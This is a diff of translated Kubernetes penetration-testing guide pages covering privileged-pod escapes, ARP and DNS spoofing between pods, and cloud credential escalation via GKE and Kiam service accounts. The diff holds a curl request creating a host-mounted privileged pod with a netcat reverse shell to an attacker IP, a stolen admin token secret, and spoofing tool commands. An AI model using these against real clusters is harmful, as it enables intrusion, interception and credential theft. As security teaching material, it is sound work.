Informações obtidas de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Creating a privileged pod
|
||||
|
||||
@@ -621,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Deletar um pod
|
||||
### Exclua um pod
|
||||
|
||||
Delete um pod com curl:
|
||||
Exclua um pod com curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -675,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### Criar uma Role
|
||||
### Criar um Role
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -693,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Excluir um Role
|
||||
### Excluir uma Role
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -728,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Excluir uma Role Binding
|
||||
### Excluir um Role Binding
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -763,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Apagar um Secret
|
||||
### Delete um Secret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Introdução
|
||||
|
||||
No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os containers que residem no mesmo node**. Isso se aplica independentemente das distinções de namespace. Essa conectividade se estende até a **Layer 2** (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilities. Especificamente, ela abre a possibilidade para um **malicious container** executar um **ARP spoofing attack** contra outros containers situados no mesmo node. Durante esse attack, o malicious container pode interceptar de forma enganosa ou modificar o tráfego de rede destinado a outros containers.
|
||||
No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os containers residentes no mesmo node**. Isso se aplica independentemente das distinções de namespace. Essa conectividade se estende até a **Layer 2** (Ethernet). Consequentemente, essa configuração pode expor o sistema a vulnerabilidades. Especificamente, ela abre a possibilidade para um **malicious container** executar um **ARP spoofing attack** contra outros containers situados no mesmo node. Durante esse attack, o malicious container pode interceptar ou modificar de forma enganosa o tráfego de rede destinado a outros containers.
|
||||
|
||||
ARP spoofing attacks envolvem o **attacker enviando falsified ARP** (Address Resolution Protocol) messages pela rede local. Isso resulta na vinculação do **endereço MAC do attacker com o endereço IP de um computador ou server legítimo na rede**. Após a execução bem-sucedida de tal attack, o attacker pode interceptar, modificar ou até mesmo interromper dados em trânsito. O attack é executado na Layer 2 do modelo OSI, motivo pelo qual a conectividade padrão no Kubernetes nessa layer levanta preocupações de segurança.
|
||||
ARP spoofing attacks envolvem o **attacker enviando falsified ARP** (Address Resolution Protocol) messages por uma rede local. Isso resulta no vínculo do **MAC address do attacker com o IP address de um computador ou servidor legítimo na rede**. Após a execução bem-sucedida de tal attack, o attacker pode interceptar, modificar ou até mesmo interromper dados em trânsito. O attack é executado na Layer 2 do modelo OSI, e é por isso que a conectividade padrão no Kubernetes nessa layer levanta preocupações de segurança.
|
||||
|
||||
No scenario 4 machines serão criadas:
|
||||
No cenário, 4 máquinas serão criadas:
|
||||
|
||||
- ubuntu-pe: Privileged machine para escapar para o node e verificar metrics (não necessário para o attack)
|
||||
- ubuntu-pe: Máquina privilegiada para escapar para o node e verificar métricas (não necessária para o attack)
|
||||
- **ubuntu-attack**: **Malicious** container no default namespace
|
||||
- **ubuntu-victim**: máquina **Victim** no namespace kube-system
|
||||
- **mysql**: máquina **Victim** no default namespace
|
||||
- **ubuntu-victim**: Máquina **Victim** no namespace kube-system
|
||||
- **mysql**: Máquina **Victim** no default namespace
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Rede Básica de Kubernetes
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
Se você quiser mais detalhes sobre os tópicos de rede introduzidos aqui, vá para as referências.
|
||||
Se você quiser mais detalhes sobre os tópicos de networking introduzidos aqui, vá para as references.
|
||||
|
||||
### ARP
|
||||
|
||||
De forma geral, **a rede pod-to-pod dentro do node** está disponível por meio de uma **bridge** que conecta todos os pods. Essa bridge é chamada de “**cbr0**”. (Alguns network plugins vão instalar sua própria bridge.) A **cbr0 também pode lidar com ARP** (Address Resolution Protocol) resolution. Quando um pacote de entrada chega à cbr0, ela pode resolver o endereço MAC de destino usando ARP.
|
||||
Em geral, **pod-to-pod networking inside the node** está disponível via uma **bridge** que conecta todos os pods. Essa bridge é chamada “**cbr0**”. (Alguns network plugins vão instalar sua própria bridge.) A **cbr0 também pode lidar com ARP** (Address Resolution Protocol) resolution. Quando um pacote de entrada chega ao cbr0, ele pode resolver o MAC address de destino usando ARP.
|
||||
|
||||
Esse fato implica que, por padrão, **todo pod executando no mesmo node** vai ser capaz de **comunicar** com qualquer outro pod no mesmo node (independentemente do namespace) no nível ethernet (layer 2).
|
||||
Esse fato implica que, por padrão, **todo pod rodando no mesmo node** vai ser capaz de **communicate** com qualquer outro pod no mesmo node (independentemente do namespace) no nível ethernet (layer 2).
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, é possível realizar ataques de A**RP Spoofing entre pods no mesmo node.**
|
||||
|
||||
### NetworkPolicy and admin policy layers
|
||||
|
||||
Kubernetes `NetworkPolicy` é um controle de tráfego de pod em L3/L4, mas é enforced pelo plugin CNI e não pelo API server em si. Um cluster pode armazenar objetos NetworkPolicy enquanto ainda permite tráfego se o CNI ativo não os implementar, então sempre valide com uma source permitida controlada e uma source negativa bloqueada de controle.
|
||||
|
||||
Não pare em `kubectl get networkpolicy -A`. Clusters usando Cilium, Calico, OVN-Kubernetes, Antrea, ou managed-provider dataplanes também podem ter policy APIs como `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ou `BaselineAdminNetworkPolicy`. Isso pode adicionar explicit deny, tier/order, cluster scope, regras L7/DNS, ou admin guardrails que o additive semantics normal do Kubernetes NetworkPolicy não explica.
|
||||
|
||||
Useful first checks:
|
||||
```bash
|
||||
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
|
||||
kubectl get networkpolicy -A
|
||||
kubectl get cnp,ccnp -A 2>/dev/null
|
||||
kubectl get globalnetworkpolicy -A 2>/dev/null
|
||||
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
|
||||
```
|
||||
Para análise de bypass, verifique se o bloqueio pretendido é evitado por meio de um proxy permitido, DNS ou egress gateway, pod `hostNetwork`, caminho local do node, namespace amplo ou selector de label de pod, ou uma policy admin/global com maior precedência. Informe os labels do pod de origem, labels do namespace, o Service ou EndpointSlice de destino, a implementação de CNI/policy, a rule de policy que decidiu, e a prova do tráfego.
|
||||
|
||||
### DNS
|
||||
|
||||
Em ambientes kubernetes, você geralmente encontrará 1 (ou mais) **serviços DNS em execução** geralmente no namespace kube-system:
|
||||
Em ambientes kubernetes você geralmente vai encontrar 1 (ou mais) **DNS services running** normalmente no namespace kube-system:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
Nas informações anteriores você pode ver algo interessante, o **IP do serviço** é **10.96.0.10** mas o **IP do pod** que está executando o serviço é **172.17.0.2.**
|
||||
Na informação anterior você pode ver algo interessante: o **IP do service** é **10.96.0.10**, mas o **IP do pod** que está executando o service é **172.17.0.2.**
|
||||
|
||||
Se você verificar o endereço DNS dentro de qualquer pod você vai encontrar algo assim:
|
||||
Se você verificar o endereço DNS dentro de qualquer pod, encontrará algo assim:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
No entanto, o pod **não sabe** como chegar a esse **endereço** porque a **faixa do pod** neste caso é 172.17.0.10/26.
|
||||
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||
|
||||
Portanto, o pod enviará as **DNS requests para o endereço 10.96.0.10**, que será **traduzido** pelo cbr0 **para** **172.17.0.2**.
|
||||
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
|
||||
> [!WARNING]
|
||||
> Isso significa que uma **DNS request** de um pod **sempre** vai passar pela **bridge** para **traduzir** o **service IP para o endpoint IP**, mesmo que o DNS server esteja na mesma subnetwork que o pod.
|
||||
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||
>
|
||||
> Sabendo disso, e sabendo que **ARP attacks are possible**, um **pod** em um node vai conseguir **interceptar o traffic** entre **cada pod** na **subnetwork** e a **bridge** e **modificar** as **DNS responses** do DNS server (**DNS Spoofing**).
|
||||
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
>
|
||||
> Além disso, se o **DNS server** estiver no **mesmo node que o attacker**, o attacker pode **interceptar todas as DNS request** de qualquer pod no cluster (entre o DNS server e a bridge) e modificar as responses.
|
||||
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||
|
||||
> [!NOTE]
|
||||
> Valide o CNI ativo e o caminho do DNS antes de assumir que isso funciona em um cluster real. Alguns CNIs roteiam ou isolam o traffic do mesmo node de forma diferente, e clusters usando NodeLocal DNSCache podem enviar consultas DNS do pod para um endereço local do node antes de encaminhar para o CoreDNS. Nesses ambientes, DNS spoofing depende do posicionamento do pod, das capacidades do packet, da configuração do resolver, do comportamento do cache local do node e de se as aplicações verificam peers com TLS ou outro mecanismo de identidade.
|
||||
> Valide o CNI ativo e o caminho do DNS antes de assumir que isso funciona em um cluster real. Alguns CNIs roteiam ou isolam o tráfego no mesmo nó de forma diferente, e clusters usando NodeLocal DNSCache podem enviar as consultas DNS dos pods para um endereço local ao nó antes de encaminhar para CoreDNS. Nesses ambientes, DNS spoofing depende do posicionamento do pod, das capacidades do pacote, da configuração do resolver, do comportamento do cache local do nó e de se as aplicações verificam os peers com TLS ou outro mecanismo de identidade.
|
||||
|
||||
## ARP Spoofing em pods no mesmo Node
|
||||
## ARP Spoofing in pods in the same Node
|
||||
|
||||
Nosso objetivo é **roubar ao menos a communication do ubuntu-victim para o mysql**.
|
||||
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -236,7 +252,7 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
Como já foi mencionado, se você **comprometer um pod no mesmo node do pod do DNS server**, você pode fazer **MitM** com **ARPSpoofing** da **bridge** e do pod **DNS** e **modificar todas as respostas DNS**.
|
||||
Como já foi mencionado, se você **comprometer um pod no mesmo nó do pod do DNS server**, você pode fazer **MitM** com **ARPSpoofing** da **bridge** e do pod **DNS** e **modificar todas as respostas DNS**.
|
||||
|
||||
Você tem uma **tool** e um **tutorial** muito bons para testar isso em [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
@@ -245,7 +261,7 @@ No nosso cenário, **baixe** a **tool** no pod do attacker e crie um **arquivo c
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
Execute o attack na máquina ubuntu-victim:
|
||||
Execute o ataque na máquina ubuntu-victim:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -263,16 +279,16 @@ dig google.com
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se você tentar criar seu próprio script de DNS spoofing, se você **apenas modificar a resposta DNS** isso **não** vai **funcionar**, porque a **response** vai ter um **src IP** do endereço IP do **pod** **malicious** e **não** vai ser **accepted**.\
|
||||
> Você precisa gerar um **novo DNS packet** com o **src IP** do **DNS** para onde a vítima enviou a requisição DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do DNS server, mais sobre isso na introdução).
|
||||
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||
|
||||
## DNS Spoofing via coreDNS configmap
|
||||
|
||||
Um usuário com permissões de escrita sobre o configmap `coredns` no namespace kube-system pode modificar as DNS responses do cluster.
|
||||
Um usuário com permissões de escrita sobre o configmap `coredns` no namespace kube-system pode modificar as respostas DNS do cluster.
|
||||
|
||||
Também revise o NodeLocal DNSCache se ele estiver implantado. Ele normalmente roda como um hostNetwork DaemonSet e tem seu próprio ConfigMap, logs, cache e path de forwarding. Uma mudança no CoreDNS pode não ser o único lugar onde o comportamento do DNS pode ser afetado ou observado.
|
||||
Também revise o NodeLocal DNSCache se ele estiver implantado. Ele normalmente roda como um hostNetwork DaemonSet e tem seu próprio ConfigMap, logs, cache e caminho de forwarding. Uma mudança no CoreDNS pode não ser o único lugar onde o comportamento DNS pode ser afetado ou observado.
|
||||
|
||||
Confira mais informações sobre este attack em:
|
||||
Verifique mais informações sobre este attack em:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
@@ -280,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
|
||||
## Abusing exposed kubernetes management services
|
||||
|
||||
Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o Kubernetes dashboard frequentemente ficam expostos para a internet ou dentro da rede kubernetes. Um attacker que consiga **encontrar qualquer platform usada para gerenciar kubernetes e acessá-la** pode abusar dela para obter access à API do kubernetes e executar ações como criar novos pods, modificar os existentes ou até mesmo deletá-los.
|
||||
Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o Kubernetes dashboard geralmente estão expostos para a internet ou dentro da rede kubernetes. Um attacker que conseguir **encontrar qualquer plataforma usada para gerenciar kubernetes e acessá-la** pode abusar disso para obter acesso à API do kubernetes e realizar ações como criar novos pods, modificar os existentes ou até mesmo deletá-los.
|
||||
|
||||
## Enumerating kubernetes network policies
|
||||
|
||||
@@ -288,22 +304,22 @@ Obtenha as **networkpolicies** configuradas:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
Obtenha as network policies do **Callico**:
|
||||
Obter as network policies do **Callico**:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
Obtenha network policies do **Cillium**:
|
||||
Obtenha as network policies do **Cillium**:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
Obtenha outros CRDs relacionados a policy instalados pelo seu network plugin ou solução de security:
|
||||
Obtenha outros CRDs relacionados a policy instalados pelo seu network plugin ou solution de security:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## Capturando Tráfego
|
||||
## Capturing Traffic
|
||||
|
||||
A ferramenta [**Mizu**](https://github.com/up9inc/mizu) é um simples, porém poderoso, visualizador de **traffic de API para Kubernetes** que permite **ver toda a comunicação de API** entre microservices para ajudar você a depurar e solucionar regressions.\
|
||||
Ela instalará agents nos pods selecionados e coletará suas informações de traffic e as mostrará em um web server. No entanto, você precisará de permissões altas de K8s para isso (e não é muito stealthy).
|
||||
A ferramenta [**Mizu**](https://github.com/up9inc/mizu) é um **traffic viewer for Kubernetes** simples, porém poderoso, que permite **ver toda a comunicação API** entre microservices para ajudar a depurar e solucionar regressions.\
|
||||
Ela instalará agents nos pods selecionados e coletará suas informações de traffic e mostrará tudo em um web server. No entanto, você precisará de permissões altas de K8s para isso (e não é muito stealthy).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,26 +4,26 @@
|
||||
|
||||
## GCP
|
||||
|
||||
Se você estiver executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma application em execução dentro do cluster tenha algum access ao GCP. Há 2 formas comuns de fazer isso:
|
||||
Se você estiver executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação executando dentro do cluster tenha algum acesso ao GCP. Existem 2 formas comuns de fazer isso:
|
||||
|
||||
### Mounting GCP-SA keys as secret
|
||||
### Montando chaves GCP-SA como secret
|
||||
|
||||
Uma forma comum de dar **access a uma kubernetes application to GCP** é:
|
||||
Uma forma comum de dar **accesso a uma aplicação kubernetes ao GCP** é:
|
||||
|
||||
- Create um GCP Service Account
|
||||
- Bind nele as permissões desejadas
|
||||
- Download de uma json key da SA criada
|
||||
- Mount como um secret dentro do pod
|
||||
- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde a json está.
|
||||
- Bind as permissões desejadas nele
|
||||
- Download uma chave json da SA criada
|
||||
- Monte-a como um secret dentro do pod
|
||||
- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o path onde o json está.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, como **attacker**, se você comprometer um container dentro de um pod, deve verificar essa **env** **variable** e **json** **files** com credenciais do GCP.
|
||||
> Portanto, como **attacker**, se você comprometer um container dentro de um pod, você deve verificar essa **env** **variable** e **json** **files** com credenciais do GCP.
|
||||
|
||||
### Relating GSA json to KSA secret
|
||||
### Relacionando GSA json com KSA secret
|
||||
|
||||
Uma forma de dar access a uma GSA a um GKE cluser é fazendo bind entre eles desta forma:
|
||||
Uma forma de dar accesso a uma GSA a um cluster GKE é bindando-os desta forma:
|
||||
|
||||
- Create uma Kubernetes service account no mesmo namespace do seu GKE cluster usando o seguinte command:
|
||||
- Create uma Kubernetes service account no mesmo namespace do seu cluster GKE usando o seguinte comando:
|
||||
```bash
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
@@ -34,21 +34,21 @@ gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Vincule o Kubernetes Secret à conta de serviço do Kubernetes usando o seguinte comando:
|
||||
- Associe o Kubernetes Secret ao Kubernetes service account usando o seguinte comando:
|
||||
```bash
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Na **second step** foram definidas as **credentials da GSA como secret da KSA**. Então, se você puder **read that secret** de **dentro** do cluster **GKE**, você pode **escalate to that GCP service account**.
|
||||
> Na **segunda etapa** foram definidas as **credentials da GSA como secret da KSA**. Então, se você conseguir **ler esse secret** de **dentro** do cluster **GKE**, você pode **escalar para essa GCP service account**.
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
Com Workload Identity, podemos configurar uma[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para agir como uma[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account irão autenticar automaticamente como a Google service account ao acessar Google Cloud APIs.
|
||||
Com Workload Identity, podemos configurar uma[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para atuar como uma[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs.
|
||||
|
||||
A **first series of steps** para habilitar esse comportamento é **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s personifique.
|
||||
A **primeira série de etapas** para habilitar esse comportamento é **habilitar Workload Identity no GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s impersonate.
|
||||
|
||||
- **Enable Workload Identity** on a new cluster
|
||||
- **Enable Workload Identity** em um novo cluster
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
@@ -59,7 +59,7 @@ gcloud container clusters update <cluster_name> \
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Crie a **GCP Service Account to impersonate** a partir do K8s com permissões do GCP:
|
||||
- Crie a **GCP Service Account to impersonate** a partir de K8s com permissões GCP:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Conecte-se** ao **cluster** e **crie** a **service account** para usar
|
||||
- **Conectar** ao **cluster** e **criar** a **service account** para usar
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **Bind the GSA com o KSA**
|
||||
- **Vincule o GSA com o KSA**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- Execute um **pod** com o **KSA** e verifique o **acesso** ao **GSA:**
|
||||
- Execute um **pod** com a **KSA** e verifique o **access** ao **GSA:**
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
Verifique o seguinte comando para autenticar caso necessário:
|
||||
Verifique o seguinte comando para autenticar caso seja necessário:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como atacante dentro de K8s, você deve **procurar SAs** com a anotação **`iam.gke.io/gcp-service-account`**, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.\
|
||||
> A partir do GCP, sempre é interessante enumerar os bindings e saber **quais acessos você está dando para SAs dentro do Kubernetes**.
|
||||
> Como atacante dentro de K8s, você deve **procurar por SAs** com a **anotação `iam.gke.io/gcp-service-account`**, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.\
|
||||
> Do GCP, é sempre interessante enumerar os bindings e saber **qual acesso você está concedendo às SAs dentro do Kubernetes**.
|
||||
|
||||
Este é um script para **iterar facilmente por todas as definições dos pods** **procurando** por essa **annotation**:
|
||||
Este é um script para iterar facilmente por todas as definições de **pods** **procurando** essa **anotação**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Uma forma (desatualizada) de dar IAM Roles aos Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com um **tipo de IAM role privilegiada**. Esse daemonset será o que dará acesso às IAM roles aos pods que precisam disso.
|
||||
Uma forma (desatualizada) de dar IAM Roles para Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com uma **espécie de IAM role privilegiada**. Esse daemonset será o que dará acesso a IAM roles aos pods que precisarem.
|
||||
|
||||
Antes de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do objeto namespace:
|
||||
Primeiro de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do objeto namespace:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como um atacante, se você **encontrar estas anotações** em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode **impersonate every r**ole que já está **used by pods** e mais (se você tiver acesso à AWS account, enumere os roles).
|
||||
